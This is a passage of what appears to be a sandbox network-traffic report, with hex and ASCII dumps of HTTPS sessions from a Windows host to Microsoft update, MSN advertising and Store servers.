2022-05-26 11:46:17 UTC 1147 IN Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 
2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d 
Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.2.4 49818 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:31 UTC 1147 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:32 UTC 1147 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 900b6fae-c6cc-4051-906d-56f6f067a799
MS-RequestId: 40a5b38c-89ff-4ca6-b22f-d5d5b05ed5b8
MS-CV: L+wURyAglE6WM86K.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:31 GMT
Connection: close
Content-Length: 35877
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2022-05-26 11:46:32 UTC 1148 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:32 UTC 1163 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:32 UTC 1179 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 192.168.2.4 49821 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:33 UTC 1183 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:33 UTC 1183 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 58d4348e-c9f7-4478-a003-b30d33ed18bf
MS-RequestId: 95b157cd-38e3-4dc1-8e99-16f8add08ca3
MS-CV: faSo1sFx0E+9AYTg.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:33 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:33 UTC 1184 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:33 UTC 1199 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:33 UTC 1215 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 192.168.2.4 49824 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:33 UTC 1219 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 2793
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-05-26 11:46:33 UTC 1219 OUT Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 30 34 31 33 34 37 34 36 39 26 50 47 3d 50 43 30 30 30 
50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 
3d 46 36 45 35 39 38 41 37 32 31 30 46 34 42 41 36 41 36 37 33 36 38 42 41 38 34 46 44 39 45 32 41 26 41 53 49 44 3d 
63 37 61 38 62 32 32 31 32 33 62 66 34 66 30 64 38 31 37 62 32 30 34 33 61 30 62 38 36 62 64 38 26 54 49 4d 45 3d 32 
30 32 32 30 35 32 36 54 31 31 34 36 31 35 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 35 32 36 54 31 31 
34 35 32 34 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 
Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1041347469&PG=PC000P0FR
5.0000000IQ8&TPID=425106558&REQASID=F6E598A7210F4BA6A67368BA84FD9E2A&ASID=c7a8b22123bf4f0d
817b2043a0b86bd8&TIME=20220526T114615Z&SLOT=2&REQT=20220526T114524&MA_Score=2&LOCALID=w

2022-05-26 11:46:33 UTC 1222 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:46:33 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

57 192.168.2.4 49823 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:33 UTC 1222 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:34 UTC 1222 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 32ef8311-e79a-4905-8aac-e6962ed16395
MS-RequestId: d650084e-2517-400b-b150-d3a238195d28
MS-CV: EtK5+SUrRUWmMc9I.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:33 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:34 UTC 1223 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-05-26 11:46:34 UTC 1238 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:34 UTC 1254 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 192.168.2.4 49825 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:34 UTC 1258 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&c
id=128000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i
.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114603Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:34 UTC 1258 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fa59fb08-3134-4726-9858-a56fab997f30
Date: Thu, 26 May 2022 11:46:33 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 192.168.2.4 49826 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:34 UTC 1259 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:34 UTC 1259 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 3ad2231d-925a-4fd5-8a2b-4040f77df9a9
MS-RequestId: c0e7f8f2-23f1-4415-91a6-c6515555943a
MS-CV: i9vY/BjbzE+X1hO/.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:34 GMT
Connection: close
Content-Length: 35877
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2022-05-26 11:46:34 UTC 1259 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:34 UTC 1275 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:34 UTC 1291 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.4 49723 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:28 UTC 70 OUT GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-
4581f098723d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 71 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6463
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE"
MS-CV: fY4WMkPOy0W6s1dW.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 71 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 
05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 
4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 
cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f 
de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 
a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 
Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.2.4 49827 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:34 UTC 1294 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
